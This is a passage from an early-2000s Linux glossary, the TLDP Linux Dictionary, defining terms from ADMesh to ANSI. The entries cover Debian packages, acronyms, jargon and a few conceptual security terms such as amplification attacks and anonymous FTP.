processing triangulated solid meshes Currently, ADMesh only reads the STL file format that is used for rapid prototyping applications, although it can write STL, VRML, OFF, and DXF files. Some features of admesh are: Fill holes in the mesh by adding facets. Repair facets by connecting nearby facets. Repair normal directions (i.e. facets should be CCW) Remove degenerate facets (i.e. facets with 2 or more vertices equal) Web site: <http://www.varlog.com/products/admesh/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADMF

??? (UMTS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

admin

/ad-min/ n. Short for `administrator'; very commonly used in speech or on-line to refer to the systems person in charge on a computer. Common constructions on this include `sysadmin' and `site admin' (emphasizing the administrator's role as a site contact for email and news) or `newsadmin' (focusing specifically on news). Compare postmaster, sysop, system mangler. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

admin

short for administrator, referring to the systems person responsible for the maintenance of a computer. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADMS

Access Device Messaging Specification (banking, Visa) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADMT

Active Directory Migration Tool (MS, AD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

admwebuser

Manage Squid or Web users using a Web browser This utility allows you to manage Squid or Web users using only a simple Web browser. All the management tasks, including creating, changing,

removing, enabling and disabling users can be performed through an easy-to-use Web interface. This package is also known as admuser but it was agreed that admwebuser would be a better package name to be used instead. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADN (Advanced Digital Network)

Usually refers to a 56Kbps leased-line. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

advanced configuration and power interface (ACPI)

An industry specification that lets an operating system control power management and configuration to PC and server components. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

advanced graphics port (AGP)

Hardware interface for the acceleration of graphics to a display such as a monitor. AGP video cards display three-dimensional graphics faster than peripheral component interconnect (PCI) cards. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

advanced power management (APM)

Legacy power control and configuration specification for hardware in PCs and servers. APM as a standard has been replaced by ACPI. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Advanced Technology Attachment Packet Interface (ATAPI)

A system-level component interface used to connect CD-ROMs and tape drives to PCs and servers, as defined by the enhanced integrated drive electronics (EIDE) specification. From

Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADVENT

/ad'vent/ n. The prototypical computer adventure game, first designed by Will Crowther on the PDP-10 in the mid-1970s as an attempt at computer-refereed fantasy gaming, and expanded into a puzzle-oriented game by Don Woods at Stanford in 1976. (Woods had been one of the authors of INTERCAL.) Now better known as Adventure or Colossal Cave Adventure, but the TOPS-10 operating system permitted only six-letter filenames. See also vadding, Zork, and Infocom. This game defined the terse, dryly humorous style since expected in text adventure games, and popularized several tag lines that have become fixtures of hacker-speak: "A huge green fierce snake bars the way!" "I see no X here" (for some noun X). "You are in a maze of twisty little passages, all alike." "You are in a little maze of twisty passages, all different." The `magic words' xyzyx and plugh also derive from this game. Crowther, by the way, participated in the exploration of the Mammoth & Flint Ridge cave system; it actually has a `Colossal Cave' and a `Bedquilt' as in the game, and the `Y2' that also turns up is cavers' jargon for a map reference to a secondary entrance. ADVENT sources are available for FTP at <ftp://ftp.wustl.edu/doc/misc/if-archive/games/source/advent.tar.Z>. There is a Colossal Cave Adventure page. From Jargon Dictionary

advi

a DVI previewer and presenter written in Objective Caml Active-DVI is a DVI previewer and presenter written in Objective Caml (<http://caml.inria.fr/ocaml/>) with some eye candy effects for presentation, support for interactive demonstrations, and embedding of arbitrary applications within the presentation (hence the Active adjective of the presenter :). Active-DVI does not (yet) support postscript fonts (see the README.Debian for more details). Active-DVI also has the ability to run embedded commands, which may cause security problems when viewing untrusted DVI files. make sure to read the README.Debian for more information From Debian 3.0r0 APT

AES (Advanced Encryption Standard, Rijndael)

The United States encryption standard that replaces the older/weaker DES standard. Contrast: The main impetus behind AES to replace DES is the support for larger key sizes. DES uses 56-bit keys, which can be cracked in just a few minutes (in the year 2001). In contrast, AES supports 128-bit keys (as well as 192-bit and 256-bit). Whereas both DES and AES are fundamentally block-ciphers, AES is also designed to be an efficient stream-cipher and hash algorithm. Whereas DES was designed to be hardware based (software implementations are much slower), AES has been designed to be efficient in both software and hardware. In particular, implementations in ANSI C, Java, and x86 assembly language were important. Another important criteria was the ability for the algorithm to work within smart-cards with slow CPUs and limited memory. Key point: The NIST director in charge of selecting the AES algorithm says: "If Moore's law continues and quantum computing doesn't manifest itself, then I think this system will have a good 30 year run". Misconception: AES does not replace DES. In the 1980s, DES was the most used encryption algorithm. However, due to length of time it took the government to come up with a replacement standard, other encryption algorithms became widely used, such as RC2, RC4, Blowfish, IDEA, and Triple DES. Moreover, crypto has become very "pluggable", with many products supporting numerous simultaneous encryption algorithms. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aewm

a minimalist window manager for X11 aewm is a minimalist window manager for X11. It has no nifty features, but is light on resources and extremely simple in appearance. It should eventually make a good reference implementation of the ICCCM. A few separate programs are included to handle

running programs, switching between windows, etc. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aewm++

minimal window manager written in C++ aewm++ is a minimal window manager for X11, based on aewm. It keeps aewm's minimalist look and feel but is written in C++, and adds some modern features like virtual desktops and partial GNOME support. Also included with this package: * appbar: a small application launcher * aewm++_fspanel: a very small panel * setrootimage: draws a gradient on the X root window * aewm++_xsession: keeps an X session alive From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

af

An Emacs-like mail reader and composer. Af is a standalone mail reader which has an Emacs-like interface by default. It has good facilities for handling folders, and commands for handling groups of messages in a single operation. Af is aimed primarily at Emacs users and people who deal with large amounts of mail daily, but other people have found it useful too. From Debian 3.0r0 APT

afbackup

Client-Server Backup System (Server side) This is a client-server backup system offering several workstations a centralized backup to a special backup server. Backing up only one computer is easily possible, too. Any streaming device can be used for writing the data to it, usually this will be a tape device. Writing backups is normally done sequentially: The next writing to tape goes to the end of the previous write no matter where you have restored from in the meantime. Features: - Authentication of the client is performed before it can take over control - Access restriction for the streamer device -> security - Client-side per-file compression -> reliability - Data stream is written to tape in pieces -> fast finding of files - Tape position logging for each file - Tape capacity is fully used - Full / incremental backups - Raw partitions can be backed up - Client and Server buffering for maximal throughput is done Note: Tk is required if you want to use the graphical configuration tool instead of the text configuration tool. From Debian 3.0r0 APT

afterstep

A window manager with the NEXTSTEP look and feel. AfterStep is a window manager based on FVWM which attempts to emulate the NEXTSTEP look and feel, while retaining the configurability of its predecessor. Note that this window manager makes extensive use of the color palette. If you have only an 8-bit color display, it will run as packaged, but you may want to modify the configuration to use fewer colors. AfterStep is a continuation of the BowMan window manager project, but the name was changed to reflect the desire that it do more than simply emulate and become a valuable window manager in its own right. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AfterStep

One of several user interfaces (window managers), AfterStep makes Linux look and feel much like NeXTSTEP, with enhancements. For more on AfterStep, go to www.afterstep.org. (Also, see Enlightenment, GNOME, KDE, and X Window System.) From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aggregate

CIDR network aggregation and filtering aggregate is a tool for aggregating CIDR networks. Input is read from stdin and output is written to stdout. It understands IPv4 networks represented as network/prefix, network/netmask and start_address – end_address. It is able to read input in any one of these formats and output in the same or a different format. It is also able to limit the maximum and minimum prefix length that will be output. This can be used to filter, for instance ignoring all networks with a prefix longer than 24 bits. That is all networks smaller than a traditional Class C. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AGNS

ALC

Automatic Level Control From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alchemist

The alchemist is a back-end configuration architecture. Alchemist provides multi-sourced configuration at the data level, postponing translation to native format until the last stage. It uses XML for intermediary data encoding, and can be extended to arbitrarily large configuration scenarios. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Alcolix

alcolix is a minimal Linux rescue distribution with the goals of being small, compatible, and very usable. It has a cozy shell and a multitude of partition rescue/editing tools, all based on up-to-date releases (e.g., 2.4.x kernel with USB support). It uses cpio.bz2 data disks and has a full GRUB bootloader, memtest86, and more. Version 2.4.20 BETA3 was released June 16, 2003. A 'special

purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alcovebook-sgml

Alcove customisation of the DocBook DTD and stylesheets This includes the AlcoveBook DTD (generic, still to be refined into several other DTDs), and the Alcove DSSSL stylesheets, which currently include: – a generic extension over Norman Walsh's modular stylesheets – a book-like style for article – an improved article style (still somewhat experimental) It integrates smoothly within the sgml2x framework. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aleph

The Aleph programming language – runtime Aleph is a multi-threaded functional programming language with dynamic symbol bindings that support the object oriented paradigm. Aleph has a rich set of features providing runtime compatibility with C++. The engine runs on both 32 bits and 64 bits platforms. It is designed to be portable across platforms. This package contains the runtime binaries & libraries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Aleph ARMlinux

Aleph One provides well-documented Linux distributions for various ARM-based systems. LWN distribution survey results for February 6, 2000. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alevt

X11 Teletext/Videotext browser AleVT is an X11 program for browsing and searching Teletext/Videotext pages received by a compatible decoder (at the moment, bttv). Features include: * Multiple windows * Page cache * Regular expression searching * Built-in manual Additional command line utilities can * receive the time from Teletext/Videotext * capture pages and write them to disk Teletext/Videotext is used by TV channels to transmit textual information pages (it's transmitted via non-visible scan lines). Bttv is a driver for frame grabber cards using the Bt848 family of video decoder chips. It is included in the Linux kernel starting with version 2.2 or available separately from <http://bytesex.org/bttv/> Homepage: <http://www.goron.de/~froese/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALGOL

ALGOrithmic Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

algorithm

A series of rules/procedures for solving a mathematical or logical problem. From an infosec point of few, the most interesting mathematical problems are those of cryptography. Cryptographic algorithms

of interest are those for encrypting messages or generating unique hashes. Analogy: An cookbook recipe is an algorithm. Key point: Different algorithms have different levels of complexity. For example, consider the ancient parable (Babylonian?) about a king and a wise subject who did a favor for him. The subject asked for one piece of grain to be placed on the first square of a chess board, two grains on the second, four grains on the third, and so on, doubling the amount of grain for each successive square. This problem demonstrates an algorithm of exponential complexity. For the first 10 squares of the chess board, the series is: 1 2 4 8 16 32 64 128 256 512. Thus, for the first 10 squares, roughly a thousand grains must be paid out. However, the series continues (using $K=1024$): 1k 2k 4k 8k 32k 64k 128k 256k 512k. Thus, for the first 20 squares, roughly a million grains must be paid out. After 30 squares, roughly a billion grains must be paid out. For 40 squares, roughly a trillion grains must be paid out. This is directly related to such things as key size. A 41-bit key is twice as hard to crack as a 40-bit key. A 50-bit key is a thousand times harder. A 60-bit key is a million times harder. This is why the 128-bit vs. 40-bit encryption debate is so important: 128-bit keys are a trillion trillion times harder to crack (via brute force) than 40-bit keys. Key point: Most algorithms are public, meaning that somebody trying to decrypt your message knows all the details of the algorithm. Consequently, the message is protected solely by the key. Many people try to add additional protection by making the details of the algorithm secret as well. Experience so far has led to the belief that this actually leads to weaker security for two reasons. First, such secrets always get discovered eventually, so if security depends upon this secret, it will eventually be broken. Secondly, human intelligence is such that someone cannot create a secure algorithm on his/her own. Therefore, only by working with a community of experts over many years can humans create a secure algorithm. To date, only two such communities exist: the entire world of cryptography experts publishing the details of their work and trying to break other people's work, and the tightly knit community of cryptography experts working in secret for the NSA. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Alias

A secondary or symbolic name for a file, a collection of data, or a computer device. In a spreadsheet, a range name, such as Income, is an alias for a range, such as A3..K3. In networks, group aliases provide a handy way to send electronic mailed two or more people simultaneously. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alias

An alternate name, or abbreviation, used in place of a command or a sequence of commands in the C shell and the Korn shell. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alias

An alternate name, symbolic link, network configuration, or icon that points to a corresponding file or directory location. Aliases are useful for concatenating long strings or commands into shorter, less complex names. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alias

The word alias is used for many different things within infosec. In all its definitions, it generally means somesort of alternate name for something. Some definitions used for alias are: e-mail alias

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alicq

Flexible ICQ client in pure Tcl/Tk Alicq is pure Tcl/Tk implementation of ICQ client with flexible modularized architecture, support for ICQ2000/Oscar protocol, and ability to pick up Licq configuration files and user database. Why would you use it? It is small, about 2500 lines as of release 0.6. It is modular and extendable in best tradition of the Tcl scripting language. New modules are easy to write, and dozen lines Tcl module can do a lot. It is crossplatform: works on Unix, Windows, Macintosh, and on any other system supported by Tcl/Tk. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alien

install non-native packages with dpkg Alien allows you to convert LSB, Red Hat, Stampede and Slackware Packages into Debian packages, which can be installed with dpkg. It can also generate packages of any of the other formats. This is a tool only suitable for binary packages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Alindis

A comprehensive guide to building a GNU/Linux distribution. Initial version 0.0.1 was released January 2, 2002. Version 0.1.0 was released July 18, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

allegro-demo

cool game, demonstrating power of the Allegro library This game is distributed with the Allegro library and shows a new Allegro programmer the power of this lib. But it is more than an usual feature demo, it is fully playable and may make some fun... From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Allison, Jeremy

one of the lead developers of the Samba Windows file-and-print-sharing software. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Allman, Eric

the creator of sendmail -- one of the most important pieces of software ever created by the OpenSource community. Eric has established Sendmail, Inc., which produces both open-sourced and proprietary versions of sendmail. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

allneeded

force the calculation of all fonts now needed From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

allow_null_glob_expansion

If set, bash allows pathname patterns which match no files (see Pathname Expansion below) to expand to a null string, rather than themselves. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALM

Application / Appware Loadable Module (Novell, Netware) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALM

Asynchronous Line Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALM

Asynchronous Line Multiplexer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alml

Linux Dictionary

This package provides a SGML typesetting system. Alml is a SGML typesetting system developed for a big italian document: "Appunti di informatica libera". Alml is made for very big documentation projects, and can generate PDF, PostScript, HTML and pure text output. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALOE

Apple Library for Object Embedding (Apple, OpenDoc) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALP

Assembly Language Processor (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Alpha

a family of advanced RISC-based, 64-bit CPUs from Digital (now Compaq). Alpha's were introduced back in 1992. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alpha software

The term used to describe an early release of software that will have many bugs and features missing. See beta software. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALR

Advanced Logic Research, inc (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALS

Adjacent Link Station (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALSA

Advanced Linux Sound Architecture (Linux) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALSA

The ALSA sound driver was originally written as a replacement for the Linux kernel sound for Gravis UltraSound (GUS) cards. As this GUS replacement proved to be a success, the author started the ALSA project for a generic driver for several sound chips, with fully modularized design. It is compatible with the OSS/Free and OSS/Linux sound drivers (the drivers in the kernel), but has its own interface that is even better than the OSS drivers. A list of features can be found at <http://www.alsa-project.org/intro.html>. The main page of the ALSA project is <http://www.alsa-project.org/> From ALSA-HOWTO The ALSA sound drivers have proven to be such a success that they have replaced the OSS drivers in the Linux kernel. From Binh
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alsaconf

ALSA configurator This is configurator for ALSA driver. Run it, if you need configure your sound card. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alsaplayer

PCM player designed for ALSA Alsaplayer is a PCM player designed specifically for use with ALSA, but works great with OSS or Esound. It's heavily threaded which cuts down on skipping, offers optional and even simultaneous visual scopes, plays mp3, mp2, ogg, cdda, audiofs, and lots more. This empty package provides an easy transition to either the gtk or text frontends; it may be safely removed once all its dependencies are installed. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALSI

Associazione nazionale Laureati in Scienze dell'informazione e Informatica (org., Italy) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alt

A

/awlt/ 1. n. The alt shift key on an IBM PC or clone keyboard; see bucky bits, sense 2 (though typical PC usage does not simply set the 0200 bit). 2. n. The `option' key on a Macintosh; use of this term usually reveals that the speaker hacked PCs before coming to the Mac (see also feature key, which is sometimes incorrectly called `alt'). 3. n.,obs. [PDP-10; often capitalized to ALT] Alternate name for the ASCII ESC character (ASCII 0011011), after the keycap labeling on some older terminals; also `altmode' (/awlt'mohd/). This character was almost never pronounced `escape' on an ITS system, in TECO, or under TOPS-10 -- always alt, as in "Type alt alt to end a TECO command" or "alt-U onto the system" (for "log onto the [ITS] system"). This usage probably arose because alt is more convenient to say than `escape', especially when followed by another alt or a character (or another alt and a character, for that matter). 4. The alt hierarchy on Usenet, the tree of newsgroups created by users without a formal vote and approval procedure. There is a myth, not entirely implausible, that alt is acronymic for "anarchists, lunatics, and terrorists"; but in fact it is simply short for "alternative". From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

alt bit

/awlt bit/ [from alternate] adj. See meta bit. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALT Linux

LWN distribution survey completed May 3, 2002. ALT Linux got its start as a Linux-Mandrake Russian Edition Spring 2001. Designed to be a universal distribution, suitable for server organization, for user workstations and for software development, ALT Linux has diverged from its roots and split into several projects, all with the same code base. For example, there's Castle, a secured, RSBAC-enabled, server distribution; and ALT Linux Junior, a single-disk distribution for home computers, designed especially for beginners, easy to install and use. The unstable Sisyphus branch changes daily. ALT Linux Master 2.2 was released March 7, 2003. ALT Linux Junior 2.2 (Plum) was released March 26, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALTEL

Association of Long-distance TELEphone companies (org., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ALTERNIC

ALTERNative Network Information Center (Internet, USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

altgcc

Alternate gcc package for the libc5 environment. This special gcc package works with the libc5-altdev package to build binaries for the old libc5/ld-linux.so.1 environment. It can coexist with the standard libc6 development packages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

althea

IMAP email client for GTK+ The designers of Althea felt that there wasn't a stable, easy to use, GUI, IMAP (Internet Message Access Protocol) e-mail client for X Windows. The design goal was a stable e-mail client with the richness of usability of Microsoft's Outlook, Qualcomm's Eudora, and Cyrusoft's Mulberry. This package was built without SSL support. If you want SSL support, use the althea-ssl package, which is available in non-US, instead. Check the documentation at /usr/share/doc/althea/help.html before filing a bug report. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

am-utils

The 4.4BSD automounter. Amd is an automounter—it mounts file systems "on demand" when they are first referenced and unmounts them after a period of inactivity. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AMA

Automatic Message Accounting From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AMACS

AMA Collection System (AMA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

amanda-client

Advanced Maryland Automatic Network Disk Archiver (Client) Amanda is a backup system designed to archive many computers on a network to a single large-capacity tape drive. This package is suitable for large amounts of data to backup. For smaller solutions take a look at abackup, tob, taper, ... Features: * will back up multiple machines in parallel to a holding disk, blasting finished dumps one by one to tape as fast as we can write files to tape. For example, a ~2 Gb 8mm tape on a ~240K/s interface to a host with a large holding disk can be filled by Amanda in under 4 hours. * built on top of standard backup software: Unix dump/restore, and later GNU Tar and others. * does simple tape management: will not overwrite the wrong tape. * supports tape changers via a generic interface. Easily customizable to any type of tape carousel, robot, or stacker that can be controlled via the unix command line. * for a restore, tells you what tapes you need, and finds the proper backup image on the tape for you. * recovers gracefully from errors, including down or hung machines. * reports results, including all errors in detail, in email to operators. * will dynamically adjust backup schedule to keep within constraints: no more juggling by hand when adding disks and computers to network. * includes a pre-run checker program, that conducts sanity checks on both the tape server host and all the client hosts (in parallel), and will send an e-mail report of any problems that could cause the backups to fail. * can compress dumps before sending or after sending over the net, with either compress or gzip. * can optionally synchronize with external backups, for those large timesharing computers where you want to do full dumps when the system is down in single-user mode (since BSD dump is not reliable on active filesystems): Amanda will still do your daily dumps. * lots of other options; Amanda is very configurable. THIS PACKAGE RELIES ON A RUNNING AMANDA SERVER IN YOUR NETWORK. For a quick start read the README.client.debian in /usr/share/doc/amanda-client. Explanation of suggested programs: – awk and gnuplot are needed for plotting statistics of backups From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

amanda-common

Advanced Maryland Automatic Network Disk Archiver (Libs) This package contains libraries required by the amanda client and server packages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

amanda-server

Advanced Maryland Automatic Network Disk Archiver (Server) Amanda is a backup system designed to archive many computers on a network to a single large-capacity tape drive. This package is suitable for large amounts of data to backup. For smaller solutions take a look at abackup, tob, taper, ... Features: * will back up multiple machines in parallel to a holding disk, blasting finished dumps one by one to tape as fast as we can write files to tape. For example, a ~2 Gb 8mm tape on a

~240K/s interface to a host with a large holding disk can be filled by Amanda in under 4 hours. * built on top of standard backup software: Unix dump/restore, and later GNU Tar and others. * does simple tape management: will not overwrite the wrong tape. * supports tape changers via a generic interface. Easily customizable to any type of tape carousel, robot, or stacker that can be controlled via the unix command line. * for a restore, tells you what tapes you need, and finds the proper backup image on the tape for you. * recovers gracefully from errors, including down or hung machines. * reports results, including all errors in detail, in email to operators. * will dynamically adjust backup schedule to keep within constraints: no more juggling by hand when adding disks and computers to network. * includes a pre-run checker program, that conducts sanity checks on both the tape server host and all the client hosts (in parallel), and will send an e-mail report of any problems that could cause the backups to fail. * can compress dumps before sending or after sending over the net, with either compress or gzip. * can optionally synchronize with external backups, for those large timesharing computers where you want to do full dumps when the system is down in single-user mode (since BSD dump is not reliable on active filesystems): Amanda will still do your daily dumps. * lots of other options; Amanda is very configurable. For a quick start read the README.server.debian in /usr/share/doc/amanda. Explanation of suggested programs: - perl is needed for some non essential server utilities - awk and gnuplot are needed for plotting statistics of backups - to backup the tape server, you need to install the client too - /usr/bin/Mail from mailx is used by amcheck to mail info about which tape is needed next, etc From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AMAP

As Much As Possible (DFUe, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

amap

Network protocol probing tool Amap allows you to probe IP ports for running protocols, ignoring the port number. It does this by sending probe packets to the port and analyzing the responses. This will allow you to find services running on non-standard ports. Having nmap installed is suggested, since amap cannot scan for open ports (but there is an option to import nmap's output). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

amphetamine

jump'n run game that offers some unique visual effects Amphetamine is an exciting Jump'n run game that offers some unique visual effects like colored lighting, fogging and coronas. You must fight eleven evil monsters with your magic weapons. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

amplifier

Any type of system on the network that can be used to amplify (increase) the the size of traffic is known as an amplifier. Example: The classic example is the smurf amplifier. An attacker spoofs the address of a victim and sends directed broadcasts to the amplifier, which then sends hundreds of replies back to the victim. Thus, it only costs the attacker a single packet to send many packets to the victim. Example: A more subtle attack is the use of DNS. The DNS response packet can be much larger than the request. This allows an attacker to flood the victim with large packets at the cost of small packets. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AN

Alternating Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

an

Very fast anagram generator. Generates anagrams for a phrase supplied by the user, the words used in the anagram are taken from a specified dictionary which should contain one word per line (default:/usr/share/dict/words). Appears to be up to 10 times faster than wordplay, especially for longer phrases. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

anacron

a cron-like program that doesn't go by time Anacron (like `anac(h)ronistic') is a periodic command scheduler. It executes commands at intervals specified in days. Unlike cron, it does not assume that the system is running continuously. It can therefore be used to control the execution of daily, weekly and monthly jobs (or anything with a period of n days), on systems that don't run 24 hours a day. When installed and configured properly, Anacron will make sure that the commands are run at the specified intervals as closely as machine-uptime permits. This package is pre-configured to execute the daily jobs of the Debian system. You should install this program if your system isn't powered on 24 hours a day to make sure the maintenance jobs of other Debian packages are executed each day. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

anacron

Anacron (like `anac(h)ronistic') is a periodic command scheduler. It executes commands at intervals specified in days. Unlike cron, it does not assume that the system is running continuously. It can therefore be used to control the execution of daily, weekly, and monthly jobs (or anything with a period of n days), on systems that do not run 24 hours a day. When installed and configured properly, Anacron will make sure that the commands are run at the specified intervals as closely as machine-uptime permits. This package is pre-configured to execute the daily jobs of the RedHat Linux system. You should install this program if your system is not powered on 24 hours a day to make sure the maintenance jobs of other Red Hat Linux packages are executed periodically. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

analog

analyzes logfiles from web servers Analog is a fast logfile processor that generates usage statistic reports for your web server. Features: * It's fast. Very fast. It can process millions of lines per minute. * It's very scalable. * It's very flexible. The default output will be satisfactory for most people, but there are hundreds of options producing 32 different reports for those who want to do things differently. * It can output in many different languages, and 4 output formats. * It produces attractive output that complies with the HTML spec (and so can be read on any browser). * It can read logfiles in almost any format. * It can be run at the command line or from a web form interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

anarchism

An exhaustive exploration of Anarchist theory and practice. The Anarchist FAQ is an excellent source of information regarding Anarchist (libertarian socialist) theory and practice. It covers all major topics, from the basics of Anarchism to very specific discussions of politics, social organization, and

economics. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

and

Auto Nice Daemon The auto nice daemon activates itself in certain intervals and renices jobs according to their priority and CPU usage. Jobs owned by root are left alone. Jobs are never increased in their priority. The renice intervals can be adjusted as well as the default nice level and the activation intervals. A priority database stores user/group/job tuples along with their renice values for three CPU usage time ranges. Negative nice levels are interpreted as signals to be sent to a process, triggered by CPU usage; this way, Netscapes going berserk can be killed automatically. The strategy for searching the priority database can be configured. AND also provides network-wide configuration files with host-specific sections, as well as wildcard/regexp support for commands in the priority database. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

anonymous FTP

A means of transferring and obtaining files that are available for public download from FTP sites. The publicly available files are usually kept in a directory called /pub/. See File Transfer Protocol (FTP).

From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

anonymous FTP

A method of file transfer that allows you to log in to an FTP server as a guest. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

anonymous FTP

Access to FTP servers with an account name of "anonymous" or "ftp" (or sometimes "guest"). When you access FTP URLs with your web browser, it will automatically use anonymous FTP. This means that conceptually, anonymous FTP provides access similar to standard HTTP. However, there is a slight difference. Anonymous FTP servers are frequently misconfigured to allow for anonymous write access to the same directories as read access. Hackers regularly scan the Internet looking for anonymous FTP servers that they can use as drop-off spots for porn and warez. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ANSI

American National Standard Institute (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ANSI (American National Standards Institute)

A standards body made up of industry representatives. For infosec purposes, the two interesting areas are the X9 standards for financial/banking, and the X12 standards for EDI (also governing health-care transactions). Contrast: ANSI is the American representative to the ISO. ANSI is made up of industry, whereas NIST specifies standards only for use within government. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ANSI /an'see/

